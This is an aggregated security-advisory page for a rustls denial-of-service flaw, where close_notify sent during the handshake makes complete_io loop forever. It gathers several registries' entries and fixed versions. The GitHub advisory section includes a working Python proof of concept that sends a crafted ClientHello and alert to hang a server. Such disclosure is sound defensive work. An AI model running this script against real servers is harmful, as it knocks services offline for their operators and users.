Rustls vulnerable to an infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.

Source published

19 Apr 2024 16:05:44 UTC

Source modified

2 Aug 2024 02:13:40 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.

Source published

Apr 19, 2024, 4:05:44 PM (timezone not stated)

Source modified

Aug 2, 2024, 2:13:40 AM (timezone not stated)

Observed here

9 Nov 2026 00:09:24 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.

Source published

19 Apr 2024 16:15:10 UTC

Source modified

17 Jun 2026 07:30:09 UTC

Observed here

25 Oct 2026 00:17:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. ### Details Verified at `0.22` and `0.23` `rustls`, but `0.21` and `0.20` release lines are also affected. `tokio-rustls` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop where: - `eof`: false - `until_handshaked`: true - `self.is_handshaking()`: true - `self.wants_write()`: false - `self.wants_read()`: false ### PoC 1. Run simple server: `cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key` 2. Run following python script ```python3 #!/usr/bin/env python3 import socket sock = socket.socket() sock.connect(("localhost", 4443)) print("Sending client hello...") # Fake handshake data of a client hello message. fake_handshake = """ 1603 0100 c801 0000 c403 03ec 12dd 1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7 a051 f03c b817 470d 4c54 c5df 7200 001c eaea c02b c02f c02c c030 cca9 cca8 c013 c014 009c 009d 002f 0035 000a 0100 007f dada 0000 ff01 0001 0000 0000 1600 1400 0011 7777 772e 7769 6b69 7065 6469 612e 6f72 6700 1700 0000 2300 0000 0d00 1400 1204 0308 0404 0105 0308 0505 0108 0606 0102 0100 0500 0501 0000 0000 0012 0000 0010 000e 000c 0268 3208 6874 7470 2f31 2e31 7550 0000 000b 0002 0100 000a 000a 0008 1a1a 001d 0017 0018 1a1a 0001 00 """ def parse_fake_handshake(): i = 0 data = bytearray() while i < len(fake_handshake): while i < len(fake_handshake) and fake_handshake[i].isspace(): i += 1 if i >= len(fake_handshake): return data c1 = fake_handshake[i] c2 = fake_handshake[i + 1] i += 2 data.append(int(c1, 16) * 16 + int(c2, 16)) return data data = parse_fake_handshake() print("Fake client hello:", data) sock.send(data) # Send close_notify alert that we're closing the connection. close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00]) print(f"close_notify is {close_data}") sock.send(close_data) print("close_notify sent") exit(0) ``` 4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of `rustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning. Also note that the server thread is stuck in this infinite loop even if the client closes the socket. ### Impact This is a DOS. A multithread non-async server that uses `rustls` could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

Source published

19 Apr 2024 19:46:57 UTC

Source modified

10 Sep 2026 03:50:12 UTC

Observed here

24 Oct 2026 13:19:54 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

If a `close_notify` alert is received during a handshake, `complete_io` does not terminate. Callers which do not call `complete_io` are not affected. `rustls-tokio` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected.

Source published

19 Apr 2024 12:00:00 UTC

Source modified

12 Oct 2026 18:00:07 UTC

Observed here

24 Oct 2026 13:19:54 UTC

Source terms

OSV · upstream source license applies

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H